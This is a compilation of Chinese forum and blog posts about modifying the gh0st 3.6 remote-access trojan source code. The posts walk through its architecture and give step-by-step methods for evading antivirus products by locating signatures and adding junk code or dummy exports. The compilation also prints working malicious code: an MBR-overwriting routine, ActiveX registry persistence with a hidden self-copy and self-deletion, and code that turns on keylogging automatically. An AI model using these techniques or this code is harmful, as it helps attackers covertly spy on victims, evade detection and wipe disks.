这是网盘地址,大家可以不用耗威望了http://www.rayfile.com/zh-cn/files/eb74cb2b-7372-11de-b93a-0014221b798a/
现在开始分析gh0st客户端程序框架。
首先我们知道,gh0st是单文档类型的程序框架。
文档类型的都是从theApp开始的。theApp是一个全局变量。
那我们就先看一下CGh0stApp这个类的初始化函数
BOOL CGh0stApp::InitInstance()
下面很大一部分是生成的框架。我给大家指出来,就没必要再看这些了
直到 if (!ProcessShellCommand(cmdInfo))
return FALSE;
都是框架。不去看。分析下面的。
m_pMainWnd->SetMenu(NULL);去掉菜单栏,把这句注释掉就有菜单栏了。
m_pMainWnd->ShowWindow(SW_SHOW);
m_pMainWnd->UpdateWindow();
这两句是显示主界面的。
下面自带的注释大家都知道了,就是启动IOCP服务器,就是建立套接字并监听
只不过用的模型是IOCP完成端口的。
首先是获取配置文件信息。
m_IniFile.GetInt("Settings", "ListenPort");
获取端口号,最大连接数。
((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);
我们来看这句。
这句是调用CMainFrame类的Activate函数。
m_pMainWnd是单文档类的主界面指针,也是框架类指针。就是CMainFrame类
接下来我们就去Activate函数里面看看
我就在程序里面注释给大家看吧。
BOOL CGh0stApp::InitInstance() //第一步
{
获取端口号();
激活IOCP();/////// m_pMainWnd)->Activate
}
((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection)//第二步
{
初始化变量;
完成对象->初始化(传递回调函数,,,);////// m_iocpServer->Initialize();
设置状态栏状态();
}
bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)// 第三步
{
保存指针;
创建监听套接字();
设置FD_ACCEPT();
绑定端口();
监听端口();
创建监听线程();//////////////////// ListenThreadProc//第四步
如果(线程创建==成功)
{
初始化完成端口();///// InitializeIOCP();第六步
}
}
bool CIOCPServer::InitializeIOCP(void)//第六步
{
创建完成端口();
根据系统信息创建工作者线程();////// ThreadPoolFunc//第七步
}
unsigned CIOCPServer::ListenThreadProc(LPVOID lParam)//第四步
{
获取FD_ACCEPT事件();
调用接收函数();///// pThis->OnAccept()第五步
}
void CIOCPServer::OnAccept()//第五步
{
获取客户端套接字();
创建客户端上下文变量();//保存客户端套接字
关联完成端口();
设置套接字状态();
将客户端上下文添加至上下文列表();
投递一个IO初始化到完成端口();
调用回调函数,通知主对话框有客户连接();
投递WSARecv()到完成端口,等待接收客户端数据();
}
unsigned CIOCPServer::ThreadPoolFunc (LPVOID thisContext) //第七步
{
获取IO完成状态();
出错处理();
如果(结果==正确)
{
根据IO完成状态进行相应处理();//我们还要看一下相应处理函数。
}
}
BEGIN_IO_MSG_MAP()//这个就是他的相应处理消息表。去分析以下这些处理函数
IO_MESSAGE_HANDLER(IORead, OnClientReading)
IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing)
END_IO_MSG_MAP()
//再把这些函数的框架写一下
bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize)
{
判断(是否断开)
{
移除客户端();
}
判断(包格式是否不同)
{
重发();
}
写入接收数据到缓冲区();
通知主框架处理NC_RECEIVE();
判断(包数据是否正确)
{
不正确处理();
正确->通知主框架处理NC_RECEIVE_COMPLETE();
}
投递接收();
}
其他的几个就不给大家分析了。或者放在下次分析。
这只是一个简单的框架分析。对理清程序处理结构有帮助,但对修改个人专版,没有多大帮助。
简单说一下界面美化。现在的美化,基本上都是添加一个工具栏。工具栏可以上网查CToolBar这个类
当然懂得MFC的自然知道了。
主要就是在CMainFrame类的OnCreate里面添加,创建一个工具栏
可以参考gh0st里面自带的程序段。给大家搜索一下吧。
要想添加工具条,现在资源的Toolbar中new一个工具栏
这些代码就是添加工具栏的。至于其他的美化,还是研究一下MFC吧。好了,先到这里吧
- void ServiceMain( int argc, wchar_t* argv[] ) ////////////////第一步
- {
- 保存服务名称();
- 注册服务();
- 调用MyCreateThread运行main主服务();///////////////////////////第二步
- 等待退出();
- }
- HANDLE MyCreateThread (...)///////////////////////////////////第二步
- {
- 构建参数列表变量;
- 创建参数传递完毕事件();
- _beginthreadex创建线程();////////////////////////////////////第三步
- WaitForSingleObject等待参数传递完毕();
- 关闭完毕事件句柄();
- 返回创建的线程句柄();
- }
- unsigned int __stdcall ThreadLoader(LPVOID param)/////////////第三步
- {
- 获取参数列表;
- 设置参数传递完毕事件();//第二步中的完毕事件
- 调用main主函数;//////////////////////////////////////////////第四步
- }
- DWORD WINAPI main(char *lpServiceName)////////////////////////第四步
- {
- FindConfigString查找配置信息();
- 设置交互桌面();
- if (CKeyboardManager::g_hInstance != NULL)
- {
- 设置异常处理();
- 恢复ssdt();
- 保存服务名();
- 设置退出事件名();
- 以URL名创建互斥体();
- 重配置服务();
- 删除安装文件();
- }
- 定义客户端套接字();
- while(1)//主循环,
- {
- if(断开错误!=NOT_CONNECT 并且 断开错误!= HEARTBEATTIMEOUT_ERROR)//用于每两分钟重连一次
- {
- 打开第四步中的退出事件();//在卸载服务端时,会创建这个事件
- if(事件为真)//只要不退出,就不会执行这个if
- {
- 断开连接();
- }
- }
- if(上线信息获取失败)
- {
- 断开错误=GETLOGINFO_ERROR;
- 跳出本次循环;
- }
- 是否开代理();
- if (!socketClient.Connect(lpszHost, dwPort))//////////第五步
- {
- 断开错误= CONNECT_ERROR;
- 跳出本次循环;
- }
- 发送登录信息();
- 初始化核心管理变量CKernelManager manager();
- 设置客户端套接字的回调对象(manager);
- 循环等待十秒();
- if(没有激活信息)
- {
- 跳出本次循环重新连接;
- }
- 继续断开判断();
- }
- }
- bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)////////第五步
- {
- Disconnect();//断开连接,否则每连接一次就有一个新的Socket
- 初始化套接字();
- connect连接主机();
- 设置保活机制();
- 保持运行状态=真;
- 创建工作线程(WorkThread);////////////////////////////////第六步
- }
- DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)////////////第六步
- {
- while (保持运行状态=真)
- {
- 选择指定套机字关心的网络事件();
- if(套接字错误)
- {
- 断开连接;
- }
- if(关心网络事件到来)
- {
- recv接收数据();
- if(接收数据<=0)
- {
- 断开连接;
- 跳出循环;
- }
- if(接收数据>0)
- 调用OnRead处理接收();///////////////////////////第七步
- }
- }
- }
- void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )///第七步
- {
- if(接收数据==0)
- {
- 断开连接();
- 返回;
- }
- if(接收数据大小==5 且 接收数据==Gh0st)
- {
- 重新发送数据();
- 返回;
- }
- 压缩数据写入();
- while (压缩数据长度 > HDR_SIZE)
- {
- 复制包头();
- if(包头!=Gh0st)
- {
- 甩出坏包信息;
- }
- 获取包大小();
- if(包大小>0 且 压缩数据长度>=包大小)
- {
- 解密数据();
- if(解密成功)
- {
- 调用回调对象->OnReceive();//////////////////////第八步
- }
- }
- }
- }
- void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)///////第八步
- {
- switch (命令)
- case 激活命令:
- case 文件管理:
- 创建文件管理线程(Loop_FileManager);//拿文件管理举例 /////////第九步
- case 屏幕查看:
- 创建屏幕查看线程(Loop_ScreenManager);////以下类似
- case 摄像头:
- case 声音记录:
- case 远程sehll:
- case 键盘记录:
- case 系统信息:
- case 显示打开网页:
- case 隐藏打开网页:
- case 卸载:
- case 清除日志:
- case 关机选择:
- case 改备注:
- case 更新服务端:
- case 回复心跳包:
- }
- DWORD WINAPI Loop_FileManager(SOCKET sRemote)//////////////////////第九步
- {
- CClientSocket socketClient;//为文件管理新建一个客户套接字
- if (!socketClient.Connect(IP,端口))//相当于重走了一遍最开始的连接套路。
- return -1;
- CFileManager manager(&socketClient);//在CManager的构造函数中设置了回调函数。
- socketClient.run_event_loop();//要在这里等待,否则socketClient;生命周期就结束了。
- return 0;
- } 远控软件gh0st源码免杀之我谈2009-12-21 13:29
远控软件gh0st3.6开源了,开源意味着我们可以在此基础上进行二次开发,同时也意味着杀软可以较容易的查杀该款远控木马,既然要利用,我们就做好源码基础上的木马免杀工作。
好久没有来博客了,我把免杀这部分整理了一下,先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。
序
gh0st远控软件采用驱动级RESSDT过主动,svchost参数启动,替换系统服务的方式工作的,工作方式较为先进,美中不足的部分是没有进行驱动级或用户级隐藏,当然这部分可以添加进去。编码利用了VC的编程环境。
一、环境配置
编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,配置部分比较简单,网上有很多资料,这里不再详述,有兴趣的朋友也可以查看DDK和SDK的相关帮助。
二、特征码定位简述
杀毒软件查杀木马的原理基本是根据特征查杀的,被查杀的部分我们称之为特征码,所以我们可以利用特征码定位工具MyCLL定位出病毒的特征码位置,定位工具原理是将被扫描木马分块,利用分段填充的方式,匹配杀软的特征值,找到杀软查杀病毒的位置。
定位出特征码,如何反向找到源码中的对应位置呢?请看下面分析,
三、二进制文件与源码定位之map文件利用
map文件是二进制和源码之间对应的一个映射文件。
我们假设根据第三步我们定位出了病毒的特征码:
病毒名称 特征码位置 内存地址
svchost.dll 000038AA_00000002 100044AA
svchost.dll 00005F98_00000002
第一步设置VC编译环境生成Map文件。
在 VC 中,点击菜单“Project -> Settings”选项页(或按下 Alt+F7),选择 C/C++ 选项卡,并在最下面的 Project Options 里面输入:/Zd ,然后要点击 Link 选项卡,选中“Generate mapfile”复选框,并在最下面的 Project Options 里面输入:/mapinfo:lines,表示生成 MAP 文件时,加入行信息。设置完成。
第二步编译VC工程,设置活动工程编译即可,这个不用说明。这个步骤完成后,在release(或debug)目录,多了一个.map文件(比如svchost.map)。
第三步打开map文件(用UE或文本编辑器打开都行),形式如下:
(begin)
Timestamp is 488fcef2 (Wed Jul 30 10:16:18 2008)
Preferred load address is 10000000
---------------------------------------------------------------------------1----(为方便说明,wrw添加)
Start Length Name Class
0001:00000000 00010a50H .text CODE
0001:00010a50 00000485H .text$x CODE
0002:00000000 000004c8H .idata$5 DATA
......
0003:00000010 00000004H .CRT$XIZ DATA
0003:00000020 00001a50H .data DATA
0003:00001a70 00000688H .bss DATA
0004:00000000 000000a8H .rsrc$01 DATA
0004:000000b0 00000cf0H .rsrc$02 DATA
----------------------------------------------------------------------------2---(为方便说明,wrw添加)
Address Publics by Value Rva+Base Lib:Object
0001:00000000 ??0CAudio@@QAE@XZ 10001000 f Audio.obj
0001:000000d0 ??_GCAudio@@UAEPAXI@Z 100010d0 f i Audio.obj
0001:000000d0 ??_ECAudio@@UAEPAXI@Z 100010d0 f i Audio.obj
0001:000000f0 ??1CAudio@@UAE@XZ 100010f0 f Audio.obj
0001:000001e0 ?getRecordBuffer@CAudio@@QAEPAEPAK@Z 100011e0 f Audio.obj
0001:00000240 ?playBuffer@CAudio@@QAE_NPAEK@Z 10001240 f Audio.obj
0001:000002c0 ?InitializeWaveIn@CAudio@@AAE_NXZ 100012c0 f Audio.obj
......
0001:00003310 ?SendToken@CFileManager@@AAEHE@Z 10004310 f FileManager.obj
0001:00003320 ?UploadToRemote@CFileManager@@AAE_NPAE@Z 10004320 f FileManager.obj
0001:00003440 ?FixedUploadList@CFileManager@@AAE_NPBD@Z 10004440 f FileManager.obj
0001:00003670 ?StopTransfer@CFileManager@@AAEXXZ 10004670 f FileManager.obj
0001:00003730 ?CreateLocalRecvFile@CFileManager@@AAEXPAE@Z 10004730 f FileManager.obj
......
----------------------------------------------------------------------------3---(为方便说明,wrw添加)
Line numbers for .\Release\FileManager.obj(E:\vtmp\gh0st3src\Server\svchost\common\FileManager.cpp) segment .text
17 0001:00002630 20 0001:0000267f 21 0001:00002698 24 0001:000026d0
25 0001:000026f8 26 0001:0000273c 29 0001:000027d0 33 0001:000027ee
77 0001:000027f8 36 0001:000027fb 37 0001:00002803 77 0001:0000280d
......
532 0001:0000340f 534 0001:00003414 537 0001:00003428 540 0001:00003440
546 0001:0000345d 547 0001:00003487 548 0001:00003490 549 0001:00003492
551 0001:0000349e 552 0001:000034b8 553 0001:000034cb 554 0001:000034d4
558 0001:000034de 560 0001:000034e9 563 0001:000034ee 564 0001:00003506
......
(end)
我们看下,定位svchost.dll 的第一个特征码内存地址为:100044AA,在第2块中,我们可以找到RVA+BASE与之很接近的是
0001:00003440 ?FixedUploadList@CFileManager@@AAE_NPBD@Z 10004440 f FileManager.obj
这样我们可以定位到FileManager.cpp中的FixedUploadList函数,是不是范围缩小了?
下面我们再缩小代码行
利用这个公式:特征码行偏移 = 特征码地址(Crash Address)- 基地址(ImageBase Address)- 0x1000
看起来好像很难,其实很简单,我们将100044AA去掉内存基址10000000,再减1000,因为PE很多从1000开始,可以得到代码偏移地址为34AA。到第3块中找对应的代码行。
偏移地址34AA在(551 0001:0000349e 552 0001:000034b8 )中间,也就是551行和552行中间,我们到源程序中查找第551行:
wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
这样就定位出源代码了,要怎么修改就怎么修改它就可以了。
四、实战免杀
A、卡巴免杀
首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。
第一步、sys免杀
sys重新编译后,增加了输入表的函数,同时系统不同,造成很多地方不同于原特征,顺利通过卡巴、金山、小红伞等杀软。
第二步、svchost.dll免杀
特征码定位MultiByteToWideChar和"gh0st update"两个位置。这里是通过第3步map文件得出的。
卡巴怕加花指令, 这个函数MultiByteToWideChar的调用上,可以在这个函数前面随便加几句无效语句就可以通过卡巴杀软。
字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同时可以过金山杀软。
第三步、server免杀
卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。
卡巴免杀完成!
B、Avast免杀
最新的avast杀软再查杀1下,杀install.exe和svchost.dll(也就是杀生成的文件和其中的资源文件),接着做它的源码免杀。
定位在特征字符串%02d/%02d/%02d和“SYSTEM\CurrentControlSet\Services\%s”两个地方。
解决方案:
1、svchost.dll的特征码定位在键盘记录KeyboardManager.cpp文件中的SaveInfo(char *lpBuffer)函数。特征字符串%02d/%02d/%02d,也就是我们看到键盘记录的日期,修改之,修改的方法很多,将其改为[%d/%d/%d %d:%d:%d] ,编译即可通过avast杀软。
2、install的特征码定位在“SYSTEM\CurrentControlSet\Services\%s”,对应文件是install.cpp里的InstallService函数,修改大小写,编译即可通过免杀。
五、添加垃圾代码的小方法
垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。
添加输出表的方法:
有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句:
extern "C" __declspec(dllexport) bool JustTempFun();//声明
……
extern "C" __declspec(dllexport) bool JustTempFun() //实现
{
return false;
}
编译后,输出表就被改变了,有的杀软就可做到代码免杀。
六、gh0st自动生成6to4ex.dll的修改
看到好多站友提问自动生成6to4ex.dll的问题,有热心站友也提出了自己的见解 ,我感觉有些人提出的解决方案不完全正确,有可能造成刚入手人误解,我根据自己的理解说明1下。
gh0st服务端是通svchost -netsvcs启动的,所以程序要利用netsvcs 服务,服务端也就是根据netsvcs生成的,故不能说服务端生成是随机的,相对于大多数系统来讲,基本是固定的,下面看分析。
查看install.cpp里面的InstallService()方法,首先遍历HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Svchost中的服务项,查找到一个服务后,程序采取替换服务的方法,将原服务删除,然后生成对应服务项+ ex.dll的文件替换原服务,6to4服务一般排在第一位,6to4服务是一种自动构造隧道的方式,作用在于只需要一个全球惟一的IPv4地址便可使得整个站点获得IPv6 的连接,这个服务对一般人来讲,基本闲置,所以我们的程序就把6to4服务给替换掉,同时在windows\system32\目录下生成 6to4ex.dll,以后启动就是6to4ex了,如果把这个服务跳过去,就依次向下生成Ias、Iprip等服务啦,如果netsvcs项没有可以替换的服务,则程序将自己添加1个服务,名称就是由 AddsvchostService()方法产生的netsvcs_0x%d。
这样说不知道关心服务名称的站友明白了不?
这个不能说是技术问题,但是小技巧问题可以从这里产生,我不知道其他人的360是怎么过的,但是我觉得可以提示1下的是,如果是360默认系统安全的服务,它肯定不会报不安全,替换闲置的系统安全的服务则通过360的效果要好的多。本文出自 “我的空间” 博客,请务必保留此出处http://wangruwei.blog.51cto.com/186868/91624
gh0st远控服务端直接开启键盘记录2009-12-21 13:30Gh0st3.6编译和源码免杀问题(收集汇总)2009-12-21 13:35详解gh0st源码中去验证(去除逻辑炸弹)
去验证: BuildView.cpp
// 以下是原程序效验代码 全部注释掉 即可
// char strVer[10];
/* char strTitle[10];
strVer[0] = 'C';
strVer[1] = '.';
strVer[2] = 'R';
strVer[3] = 'u';
strVer[4] = 'f';
strVer[5] = 'u';
strVer[6] = 's';
strVer[7] = ' ';
strVer[8] = 'S';
strVer[9] = '\0';
strTitle[0] = 'G';
strTitle[1] = 'h';
strTitle[2] = '0';
strTitle[3] = 's';
strTitle[4] = 't';
strTitle[5] = ' ';
strTitle[6] = 'R';
strTitle[7] = 'A';
strTitle[8] = 'T';
strTitle[9] = '\0';
CString str;
GetDlgItemText(IDC_STATIC_VER, str);
if (str.Find(strVer) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
GetParent()->GetWindowText(str);
if (str.Find(strTitle) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
*/
// 以上代码全部注释 即可去除效验gh0st.cpp 删除以下代码:
/////////////////////////////////////////////////////////////////////////////
// CGh0stApp message handlers
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"[url=]\\\\.\\PHYSICALDRIVE0[/url]",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
源码中自己去掉
==============================================
另外提供一小部分修改的地方,方便制作个人版,不是很全
修改服务信息:BuildView.cpp
修改标题:MainFrm.cpp 搜索 cs.lpszNameI am virus! Fuck you :-)
!!!版权所有 篡改必毒!!!
Please wait - initial screen loading
请稍候,初始屏幕加载...Kyle个人版
============
Connections
连 接 控 制
Connections User
连接被控远程电脑
Settings
配置服务
Control Settings
配置-服务端-程序
Build
生 成
Build Server
生成--服务端
免杀加工gh0st3.6有源码,所以我们可以在源码的基础上做木马的免杀,个人感觉卡巴的免杀最好做。
先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,具体为什么以及如何配置可以查看网上有关资料,也可以查看DDK和SDK帮助。
首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。
sys免杀
sys重新编译后,增加了输入表的函数(原因未知,有兴趣的朋友可以比较1下) ,顺利通过卡巴、金山、小红伞等杀软。svchost.dll免杀
1、 MultiByteToWideChar 这个函数的调用上,卡巴就怕花,可以在这个函数前面随便加几句无效语句就可以。
2、 字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同样可以过金山,谁让我们有源码呢。server免杀
卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。修改生成的dll
在源程序里查找%s\\%sEx 或者\%sEx字符串,这个位置就是生成 6to4的地方了,可以改成你想生成的任何的东西。纯粹想交流,大家可以在这里跟贴,一起讨论。
做了这几步..还有瑞星还查杀DLL文件,把DLL文件的大少优化下,加几个输出表..
金山杀EXE文件,把入口点改下就过了 麦咖啡还杀DLL文件的ServiceMain.把ServiceMain移动远点就过了
小红伞 NOD还杀输入表....这2个比较麻烦
我测试了9个杀软 金山,瑞星,卡巴,江民,小红伞,NOD,麦咖啡,诺顿,AVG.
还有其他杀软.基本上过了.没测试.
简单补充
添加垃圾代码的小方法:
垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。
可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。添加输出表的方法:
有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句:
extern "C" __declspec(dllexport) bool JustTempFun();//声明
……
extern "C" __declspec(dllexport) bool JustTempFun() //实现
{
return false;
}
编译后,输出表就被改变了,有的杀软就可做到代码免杀。
把这个代码加到WinMain上面,然后在WinMain里写入 ActiveRun(); 就可以调用了这样才能成功
转载请注明出自暗组技术论坛 http://forum.darkst.com/,本贴地址:http://forum.darkst.com/viewthread.php?tid=38537void ActiveRun()//ActiveX自启动的函数
{
char WinPath[MAX_PATH];
GetWindowsDirectory(WinPath,sizeof(WinPath));
strcat(WinPath,"\\systom32\\svchost.exe");HKEY hKey;
RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); //删除用户里的ACTIVE,免得不知执行
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);
RegSetValue(hKey,NULL,REG_SZ,"360safe",strlen("360safe"));
RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)WinPath,lstrlen(WinPath));
RegCloseKey(hKey);
}int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
ActiveRun();
int nRetCode = 0;
//Begin=======首次运行,拷贝安装========
char DstFilePath[256];
char SrcFilePath[256];
memset(DstFilePath, 0, 256);
memset(SrcFilePath, 0, 256);
::GetWindowsDirectory(DstFilePath,sizeof(DstFilePath));
strcat(DstFilePath,"\\systom32\\");
CreateDirectory(DstFilePath, NULL);SetFileAttrib(DstFilePath);//隐藏路径
strcat(DstFilePath,"svchost.exe");GetModuleFileName(NULL, SrcFilePath, sizeof(SrcFilePath));
if (_stricmp(SrcFilePath,DstFilePath) != 0)
{
DeleteFile(DstFilePath);
if(::CopyFile(SrcFilePath,DstFilePath,FALSE)==0)
return -1;
SetFileAttrib(DstFilePath);//隐藏文件
WinExec(DstFilePath,SW_HIDE);
uninstall();//自删除
ExitProcess(0);
}
源码出来这么久了.在网上搜一下,几乎见不到可以用的动画或者教程,估计大家都想留着技术换钱吧,这里说几种方法、方便大家举一反三
源码的解锁:这里不多说了,改版权之前最好看看,
不然硬盘出事了别找别人(已经有很多例子了)
SYS文件的免杀:一样有教程,大体思路是用advanced find and replace替换SYS源码中的RESSDT为其他任意等长度字符串达到免杀效果,自己看看动画就懂的
这里主要说说DLL文件的源码免杀过程(免杀好DLL之后,生成的EXE也没几个特征码了,随便改改就过了)
首先,要了解编译中MAP的利用:
第一步设置VC编译环境生成Map文件。
在 VC 中,点击菜单“Project -> Settings”选项页(或按下 Alt+F7),选择 C/C++ 选项卡,并在最下面的 Project Options 里面输入:/Zd ,然后要点击 Link 选项卡,选中“Generate mapfile”复选框,并在最下面的 Project Options 里面输入:/mapinfo:lines,表示生成 MAP 文件时,加入行信息。
设置完成。
第二步编译VC工程,设置活动工程编译即可,这个不用说明。这个步骤完成后,在release(或debug)目录,多了一个.map文件(比如svchost.map)。
第三步打开map文件(用UE或文本编辑器打开都行),形式如下:
用MYCCL定位DLL的瑞星主要特征码为00014ba8和00014bbb(还有4个特征码在源码免杀了这两个之后都过了),定在了DLL的输出表的SERVICEMAIN和RESETSSDT上面.
我们在生成的.MAP文件中找跟这两个地址接近的项,如图:00014BA8和00014BBB正好是在图中00014AC0和00014BE0之间,对应的是源码里的一个IOCPSERVER.OBJ,这样我们就通过MAP文件把特征码和源码联系起来了,通过修改源码来
达到免杀特征码的目的打开GH0ST源码,点击CLASSES VIEW>>>>GH0ST CLASSES>>>>>CIOCPSERVER,来到如图位置:
COICPSERVER好像是一个跟WINSOCK有关的东西,这里汇编高手可以直接通过修改代码达到免杀,而我则加了一个无意义代码达到相同的效果(水平问题),如图:
这样,这处源码免杀就OK了.不过要想达到到更好的免杀效果,我们还需要手动在输出表里面添加几个空函数,点击FILE VIEW>>>>GHOST FILES>>>>SVCHOST.CPP来到如图位置
看到SERVICEMAIN和RESETSSDT没有,这里,我手动添加了一个新函数,函数名任意,我取了个"FUCKRUIXING".添加完后如图:
这样子空函数还没完全添加进去,我们还需要在后面加入一段说明这个函数的代码,如图:
这样,空函数添加完成了,保存一下.因为金山还杀GH0ST的GH0ST UPDATE字符串,我们利用advanced find and replace替换一下就OK了,道理同SYS的免杀
最后按编译出来丢到虚拟机里测试下,DLL和SYS过了卡巴,瑞星,金山和NOD32(虚拟机里只装了这几个常用的杀软),可以上线,功能没问题
直接编译gh0st控制端源码会提示Cj60的一个库里面函数名找不到 估计是原来的库在VC60下编译 不匹配的问题找到CJ60文件夹 打开 编译Cj60StaticLib库
1.报错 找不到文件<..\src\afximpl.h>
貌似从VC7开始这个头文件放在\src\mfc下 找到 stdafx.h 改之
#include <..\src\mfc\afximpl.h>
2.error C2440: “static_cast”: 无法从“UINT (__thiscall CCJControlBar::* )(CPoint)”转换为“LRESULT (__thiscall CWnd::* )(CPoint)”
类型定义的问题 把相关参数的函数返回值改成LRESULT
3.error C2440: “static_cast”: 无法从“BOOL (__thiscall CCJPagerCtrl::* )(NMPGSCROLL *,LRESULT *)”转换为“BOOL (__thiscall CCmdTarget::* )(NMHDR *,LRESULT *)”
宏展开后参数不匹配的问题 把NMPGSCROL改成NMHDR进子程序后强转
LPNMPGSCROL pnmpgs = (LPNMPGSCROL ) pnmhdr;
4.error C2664: “MultiByteToWideChar”: 不能将参数 5 从“USHORT *”转换为“LPWSTR”
这个是从某一版本以后 wchar_t开始变成编译器内置类型的问题 几个串类型之间不能默认转换 强转即可
接下来编译控制端gh0st
1.一上来提示找不到stdafx.h 我靠 打开header目录一看 有这个文件 ok 在附加包含目录里面加入“./” 解决了
2.error 2440 和刚才一样的问题 MFC展开宏的问题 进去强转指针即可
3.ok 到这里再编译 能通过了 刚才那一堆link错误 由于我们用vc8重新编译了cj60库也解决了 但是多出来几个link错误
nafxcw.lib(afxmem.obj) : error LNK2005: “void * __cdecl operator new(unsigned int)” (??2@YAPAXI@Z) 已经在 LIBCMT.lib(new.obj) 中定义
看意思大概是操作符在几个库里有重定义的问题 试了忽略nafxcw.lib和libcmt.lib 都不行 后翻到一篇帖子 这种问题需要在附加依赖项里面指定一下链接的先后顺序即可 先链接nafxcw.lib 后链接libcmt.lib 如果编译调试版在库后面加个d
好了 甩个服务端到虚拟机上去 咱们开始调试吧
参考文献:
http://topic.youkuaiyun.com/t/20030627/23/1966751.html
operator new 链接重定义的问题
http://blog.youkuaiyun.com/orbit/archive/2008/11/28/3405309.aspx
从VC6到VC9移植代码问题总结
gh0st远控服务端直接开启键盘记录
作者:admin 日期:2009-03-08
字体大小: 小 中 大
闲时玩远控,私下有很多站友想在gh0st服务端运行的同时开启键盘记录,苦于对代码不熟,到处求人,还让人给拿一把,我在这里给出实现方法 ,希望对gh0st爱好者有所帮助。在KeyboardManager.cpp的 bool CKeyboardManager::StartHook()方法中,有这样一段代码:
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
lstrcat(m_pTShared->strRecordFile, "\\keyboard.inf"); //keyboard.inf是自己给的记录文件名// 文件存在,就开始离线记录开启
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
m_pTShared->bIsOffline = true;
else
m_pTShared->bIsOffline = false;从这段代码可以看出,服务端启动后,自动判读有没有keyboard.inf这个文件,如果有,就自动开启离线记录,如果没有就默认没有开启键盘记录。
我们在类构造的时候加上如下代码:
char strRecordFile [MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\keyboard.inf");
if (GetFileAttributes(strRecordFile) == -1)
{
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
